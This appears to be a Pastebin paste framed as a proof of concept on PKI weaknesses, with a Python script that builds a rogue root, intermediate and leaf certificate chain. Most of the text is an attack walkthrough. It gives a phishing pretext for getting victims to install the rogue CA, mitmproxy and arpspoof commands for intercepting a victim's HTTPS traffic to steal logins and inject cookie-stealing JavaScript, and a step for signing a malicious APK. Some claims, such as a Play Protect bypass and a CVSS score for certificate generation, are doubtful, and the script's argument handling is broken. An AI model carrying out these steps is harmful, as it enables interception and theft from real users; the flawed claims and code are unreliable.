Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Proof of Concept: Exploiting PKI Vulnerabilities with Automated Certificate Generation
- # This proof of concept (PoC) examines a Pythonbased tool that automates the generation of a Public Key Infrastructure (PKI) chain, including a selfsigned root Certificate Authority (CA), an intermediate CA, and leaf certificates for signing and pairing purposes. While the tool appears as a utility for legitimate PKI setup, it highlights a critical vulnerability in certificate validation and trust models: the ease of creating rogue certificates that can undermine secure communications, such as HTTPS, code signing, and authentication protocols. By exploiting weaknesses in how systems validate certificates—particularly on platforms like Android via Termux—the tool enables attacks like maninthemiddle (MITM) interception, phishing, and malicious code deployment.
- # The PoC demonstrates a practical exploitation scenario, including ARP spoofing and HTTPS proxy setup, to intercept and manipulate network traffic. A CVSS score of 8.1 (High) is assigned, reflecting the vulnerability's networkbased attack vector, low complexity, and high impacts on confidentiality and integrity. Furthermore, the tool significantly lowers the skill barrier for attackers, especially nonroot users on Termux, by abstracting complex cryptographic operations into a simple script. This democratization of attacks poses a growing threat in mobile and network environments where certificate pinning and strict validation are not universally enforced.
- # Public Key Infrastructure (PKI) forms the backbone of modern cybersecurity, enabling secure data transmission through certificatebased authentication. Certificates issued by trusted Certificate Authorities (CAs) verify identities and encrypt communications in protocols like TLS/SSL for HTTPS, S/MIME for email, and code signing for software integrity. However, PKI's reliance on trust stores—preinstalled lists of root CAs in browsers, operating systems, and applications—introduces vulnerabilities. Attackers can exploit these by generating fraudulent certificates that mimic legitimate ones, tricking systems into accepting them as valid.
- # The tool in question is a Python script utilizing the `cryptography` library to generate a complete PKI hierarchy:
- # A selfsigned root CA with extended validity and signing capabilities.
- # An intermediate CA for delegation.
- # Two leaf certificates: one optimized for digital signatures and code signing, the other for clientserver authentication and data encipherment.
- # This tool, designed for execution in Termux (a Linuxlike environment on Android without requiring root access), automates what traditionally requires manual cryptographic commands. It accepts parameters for custom common names (CNs) and output directories, allowing tailored certificate generation. While useful for development or testing, it exposes a vulnerability in improper certificate validation (CWE295), where systems fail to rigorously verify certificate chains, especially in usercontrolled or nonenterprise contexts.
- # This PoC explores the vulnerability through a simulated attack, assigns a CVSS score, and analyzes how the tool reduces the expertise needed for exploitation, making advanced attacks accessible to novices.
- # The core vulnerability highlighted by the tool is the exploitation of PKI trust models through rogue certificate generation and deployment. PKI operates on a chain of trust: endentity certificates are validated against intermediate CAs, which trace back to root CAs in a system's trust store. Validation typically checks:
- # Signature integrity (ensuring each certificate is signed by its issuer).
- # Validity periods (not expired).
- # Common Name (CN) or Subject Alternative Names (SANs) matching the domain or identity.
- # Key usage and extended key usage extensions aligning with intended purposes.
- # Absence of revocation (via Certificate Revocation Lists or OCSP).
- # Trust Store Manipulation: Browsers and OSes allow userinstalled CAs (e.g., Android's user certificate store), bypassing systemlevel restrictions. Attackers can socially engineer victims into installing rogue roots, granting trust to any signed certificate.
- # Bypassed Validation: Applications without certificate pinning (a technique to hardcode expected certificate fingerprints) accept valid chains even if the root is untrusted by default. Development modes or local proxies often skip strict checks.
- # Domain Impersonation: Certificates can be generated with arbitrary CNs (e.g., "google.com"), fooling clients if validation is superficial.
- # PlatformSpecific Gaps: On Android, nonroot users cannot modify the system trust store but can install user CAs and run tools like proxies in user space, enabling attacks without elevated privileges.
- # The tool exploits this by generating certificates with realistic extensions (e.g., `KeyUsage` for signing and `ExtendedKeyUsage` for code signing or authentication), indistinguishable from legitimate ones. In realworld terms, this mirrors incidents like the DigiNotar breach (2011), where compromised CAs issued rogue certificates for MITM attacks on Gmail users. It also facilitates supply chain attacks, such as signing malicious APKs to evade detection by app stores.
- # Cryptographically, the tool uses RSA2048 keys and SHA256 hashing, which are secure against current attacks but irrelevant if validation is bypassed. The hierarchical structure (root → intermediate → leaves) mimics standard PKI, with the root having `BasicConstraints(ca=True, path_length=1)` and leaves restricted to endentity roles. This design ensures the generated chain passes basic checks, amplifying the vulnerability.
- # This PoC simulates an MITM attack on a local WiFi network, intercepting HTTPS traffic from a victim's device using the generated PKI. The attacker uses a Termuxenabled Android phone (nonroot) to generate certificates, set up a proxy, and perform ARP spoofing. Prerequisites include Termux with Python, the `cryptography` library, and tools like `mitmproxy` and `dsniff`.
- # Step 1: Generating the Rogue PKI Chain
- # Execute the script to create certificates impersonating a legitimate entity, such as a bank or service provider.
- ```bash
- python pki_gen.py cn "examplebank.com" outputdir /sdcard/pki
- ```
- # Output includes:
- # `root_ca.crt` and `root_ca.key`: Selfsigned root CA with 10year validity, key usage for certificate/CRL signing, and extended usage for code signing/timestamping.
- # `intermediate_ca.crt` and `intermediate_ca.key`: Intermediate CA with 1year validity, restricted to certificate signing and client authentication.
- # `signing_leaf.crt` and `signing_leaf.key`: Leaf for digital signatures, content commitment, code signing, and email protection.
- # `pairing_leaf.crt` and `pairing_leaf.key`: Leaf for data encipherment, key agreement, client auth, and server auth.
- # `full_chain.pem`: Combined root and intermediate certificates for trust establishment.
- # The certificates' extensions ensure they appear authentic: the root enforces CA constraints, while leaves specify precise usages. This bypasses initial validation hurdles, as the chain is cryptographically sound.
- # Step 2: Establishing Attack Infrastructure
- # Install Rogue Root CA on Victim Device:
- # The root CA must be added to the victim's trust store. On Android, navigate to Settings > Security > Encryption & credentials > Install a certificate > CA certificate, and select the provided `root_ca.crt`.
- # Exploit: Use social engineering, such as phishing emails claiming the certificate is for "secure updates" or "banking security." Once installed, the victim's browser (e.g., Chrome) trusts all certificates signed by this root, as Android's user CA store integrates with app trust models.
- # 2. Configure HTTPS Proxy:
- # Install `mitmproxy` via `pip install mitmproxy`.
- # Launch the proxy with the pairing certificate: `mitmproxy mode transparent listenhost 0.0.0.0 listenport 8080 certs *=pairing_leaf.crt,pairing_leaf.key`.
- # This proxy intercepts HTTPS traffic, dynamically generating certificates for target domains signed by the intermediate CA. The pairing leaf's extensions (e.g., server auth) ensure compatibility with TLS handshakes.
- # 3. Perform ARP Spoofing:
- # Install `dsniff` via `pkg install dsniff`.
- # Identify network details: `arp a` to find victim and gateway IPs.
- # Run spoofing in two terminals:
- # `arpspoof i wlan0 t <victim_ip> <gateway_ip>`
- # `arpspoof i wlan0 t <gateway_ip> <victim_ip>`
- # This redirects the victim's traffic through the attacker's device, funneling it to the proxy.
- # Step 3: Executing the Attack and Observing Exploitation
- # Victim installs the rogue CA via phishing.
- # Attacker initiates spoofing and proxy.
- # Victim accesses `https://examplebank.com`; traffic is routed to the proxy.
- # The proxy presents a certificate for "examplebank.com" signed by the trusted chain, passing browser validation (green lock icon).
- # Attacker can:
- # View decrypted traffic (e.g., login credentials).
- # Modify responses (e.g., inject malicious JavaScript to steal cookies or alter page content).
- # Log data for exfiltration.
- # In this scenario, the vulnerability manifests as the victim's system accepting the rogue certificate due to the installed root CA, despite no real validation of the issuer's legitimacy. The tool's automation ensures the chain is generated flawlessly, with no manual errors.
- # Extended Scenario: Code Signing Exploitation
- # Using the signing leaf, generate and sign a malicious APK:
- # Extract the signing key and certificate.
- # Use `apksigner` (from Android SDK) to sign an APK:
- # `apksigner sign ks signing_leaf.key cert signing_leaf.crt malicious.apk`.
- # Distribute the APK; if the root CA is trusted, Android may bypass Play Protect warnings, allowing installation and execution of malware.
- # This demonstrates broader impacts, such as supply chain compromises.
- # Mitigations and Limitations
- # Certificate Pinning: Forces apps to expect specific certificates, thwarting rogue chains.
- # HSTS and CAA Records: Enforce HTTPS and restrict CA issuance.
- # User Education: Avoid installing unknown CAs.
- # Limitations: Requires victim interaction for CA installation; pinned apps (e.g., major banks) resist attacks. However, many apps lack pinning, and phishing succeeds in uneducated scenarios.
- # CVSS Scoring
- # The vulnerability is scored using CVSS v3.1 as 8.1 (High).
- # Base Metrics:
- # Attack Vector (AV): Network – Attacks occur over networks, such as WiFi.
- # Attack Complexity (AC): Low – The tool simplifies execution; minimal setup required.
- # Privileges Required (PR): None – No special access; operable on nonroot Termux.
- # User Interaction (UI): Required – Victim must install the CA, typically via social engineering.
- # Scope (S): Changed – Impacts extend to the victim's system.
- # Confidentiality (C): High – Enables theft of sensitive data.
- # Integrity (I): High – Allows traffic modification.
- # Availability (A): None – No disruption to services.
- # Temporal Metrics: Exploitability is High due to the tool's availability; score adjusts to 7.9.
- # Environmental Metrics: In mobile environments with weak pinning, score rises to 8.5.
- # This score reflects the vulnerability's severity in enabling highimpact attacks with low barriers. It compares to similar issues like CVE20180296 (Cisco certificate validation flaw, scored 5.3), but exceeds due to broader exploitability without patches.
- # Impact on Skill Level for Termux NonRoot Hackers
- # The tool significantly democratizes PKIbased attacks by abstracting complex operations. Traditionally, attackers needed:
- # Proficiency in tools like OpenSSL for key generation and certificate signing. Understanding of X.509 structures, extensions, and cryptographic primitives. Root access for system modifications or custom compilations. Scripting knowledge for automation.
- # On Termux, a nonroot Android environment, the tool eliminates these requirements. Users install Python and libraries via `pip`, run the script with basic arguments, and integrate outputs with userspace tools like `mitmproxy`. No cryptographic expertise is needed; the script handles RSA key generation, certificate building, and PEM encoding automatically.
- # This lowers the skill level from advanced (requiring coding and crypto knowledge) to beginner (script execution and basic networking). Novices can follow online tutorials for ARP spoofing, turning sophisticated MITM attacks into plugandplay operations. In mobile contexts, where devices are ubiquitous and nonroot constraints are common, this enables widespread threats like public WiFi eavesdropping or targeted phishing, previously limited to skilled adversaries.
- # This PoC demonstrates how the provided tool exposes and exploits PKI vulnerabilities, enabling rogue certificate generation for attacks like MITM and code signing abuse. By automating PKI creation on accessible platforms like Termux, it reduces barriers for attackers, amplifying risks in an era of increasing mobile connectivity. Organizations should prioritize certificate pinning, user training, and rigorous validation to mitigate these threats. As PKI evolves, addressing trust model weaknesses will be crucial to maintaining secure digital ecosystems.
- import base64
- import argparse
- import os
- from datetime import datetime, timedelta
- from cryptography import x509
- from cryptography.hazmat.primitives import hashes, serialization
- from cryptography.hazmat.primitives.asymmetric import rsa
- from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, KeyUsageOID
- from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption
- def generate_private_key():
- return rsa.generate_private_key(public_exponent=65537, key_size=2048)
- def create_cert(private_key, issuer_key, issuer_cert, is_root=False, cn="RootCA", validity_days=3650, key_usage=None, ext_key_usage=None):
- builder = x509.CertificateBuilder()
- builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)]))
- if is_root:
- builder = builder.issuer_name(builder.subject_name())
- builder = builder.serial_number(x509.random_serial_number())
- builder = builder.not_valid_before(
- datetime.utcnow()
- )
- builder = builder.not_valid_after(
- datetime.utcnow() + timedelta(days=validity_days)
- )
- else:
- builder = builder.issuer_name(issuer_cert.subject)
- builder = builder.serial_number(x509.random_serial_number())
- builder = builder.not_valid_before(
- datetime.utcnow()
- )
- builder = builder.not_valid_after(
- datetime.utcnow() + timedelta(days=365)
- )
- builder = builder.public_key(private_key.public_key())
- if is_root:
- builder = builder.add_extension(
- x509.BasicConstraints(ca=True, path_length=1), critical=True
- )
- else:
- builder = builder.add_extension(
- x509.BasicConstraints(ca=False, path_length=None), critical=True
- )
- if key_usage:
- builder = builder.add_extension(key_usage, critical=True)
- if ext_key_usage:
- builder = builder.add_extension(ext_key_usage, critical=False)
- cert = builder.sign(private_key=issuer_key if not is_root else private_key, algorithm=hashes.SHA256())
- return cert
- def save_pem(obj, filename):
- if isinstance(obj, x509.Certificate):
- with open(filename, 'wb') as f:
- f.write(obj.public_bytes(Encoding.PEM))
- else:
- with open(filename, 'wb') as f:
- f.write(obj.private_bytes(Encoding.PEM, PrivateFormat.PKCS8, NoEncryption()))
- def main():
- parser = argparse.ArgumentParser(description='Generate PKI certificates')
- parser.add_argument('cn', default='DefaultLeaf', help='Custom common name for leaves')
- parser.add_argument('outputdir', default='.', help='Output directory')
- args = parser.parse_args()
- os.makedirs(args.output_dir, exist_ok=True)
- root_key = generate_private_key()
- inter_key = generate_private_key()
- signing_key = generate_private_key()
- pairing_key = generate_private_key()
- root_usage = x509.KeyUsage(
- digital_signature=True,
- content_commitment=False,
- key_encipherment=False,
- data_encipherment=False,
- key_agreement=False,
- key_cert_sign=True,
- crl_sign=True,
- encipher_only=False,
- decipher_only=False
- )
- root_ext_usage = x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CODE_SIGNING, ExtendedKeyUsageOID.TIME_STAMPING])
- root_cert = create_cert(root_key, root_key, None, is_root=True, cn='MyRootCA', validity_days=3650, key_usage=root_usage, ext_key_usage=root_ext_usage)
- inter_usage = x509.KeyUsage(
- digital_signature=False,
- content_commitment=False,
- key_encipherment=False,
- data_encipherment=False,
- key_agreement=False,
- key_cert_sign=True,
- crl_sign=True,
- encipher_only=False,
- decipher_only=False
- )
- inter_ext_usage = x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH])
- inter_cert = create_cert(inter_key, root_key, root_cert, is_root=False, cn='MyIntermediateCA', key_usage=inter_usage, ext_key_usage=inter_ext_usage)
- signing_usage = x509.KeyUsage(
- digital_signature=True,
- content_commitment=True,
- key_encipherment=False,
- data_encipherment=False,
- key_agreement=False,
- key_cert_sign=False,
- crl_sign=False,
- encipher_only=False,
- decipher_only=False
- )
- signing_ext_usage = x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CODE_SIGNING, ExtendedKeyUsageOID.EMAIL_PROTECTION])
- signing_cert = create_cert(signing_key, inter_key, inter_cert, is_root=False, cn=f'SigningKey{args.cn}', key_usage=signing_usage, ext_key_usage=signing_ext_usage)
- pairing_usage = x509.KeyUsage(
- digital_signature=False,
- content_commitment=False,
- key_encipherment=False,
- data_encipherment=True,
- key_agreement=True,
- key_cert_sign=False,
- crl_sign=False,
- encipher_only=False,
- decipher_only=False
- )
- pairing_ext_usage = x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH, ExtendedKeyUsageOID.SERVER_AUTH])
- pairing_cert = create_cert(pairing_key, inter_key, inter_cert, is_root=False, cn=f'PairingKey{args.cn}', key_usage=pairing_usage, ext_key_usage=pairing_ext_usage)
- save_pem(root_cert, os.path.join(args.output_dir, 'root_ca.crt'))
- save_pem(root_key, os.path.join(args.output_dir, 'root_ca.key'))
- save_pem(inter_cert, os.path.join(args.output_dir, 'intermediate_ca.crt'))
- save_pem(inter_key, os.path.join(args.output_dir, 'intermediate_ca.key'))
- save_pem(signing_cert, os.path.join(args.output_dir, 'signing_leaf.crt'))
- save_pem(signing_key, os.path.join(args.output_dir, 'signing_leaf.key'))
- save_pem(pairing_cert, os.path.join(args.output_dir, 'pairing_leaf.crt'))
- save_pem(pairing_key, os.path.join(args.output_dir, 'pairing_leaf.key'))
- chain_file = os.path.join(args.output_dir, 'full_chain.pem')
- with open(chain_file, 'wb') as f:
- f.write(root_cert.public_bytes(Encoding.PEM))
- f.write(b'\n')
- f.write(inter_cert.public_bytes(Encoding.PEM))
- print(f'PKI generated in {args.output_dir}:')
- print(' root_ca.crt, root_ca.key')
- print(' intermediate_ca.crt, intermediate_ca.key')
- print(' signing_leaf.crt, signing_leaf.key')
- print(' pairing_leaf.crt, pairing_leaf.key')
- print(' full_chain.pem')
- if __name__ == '__main__':
- main()
Add Comment
Please, Sign In to add comment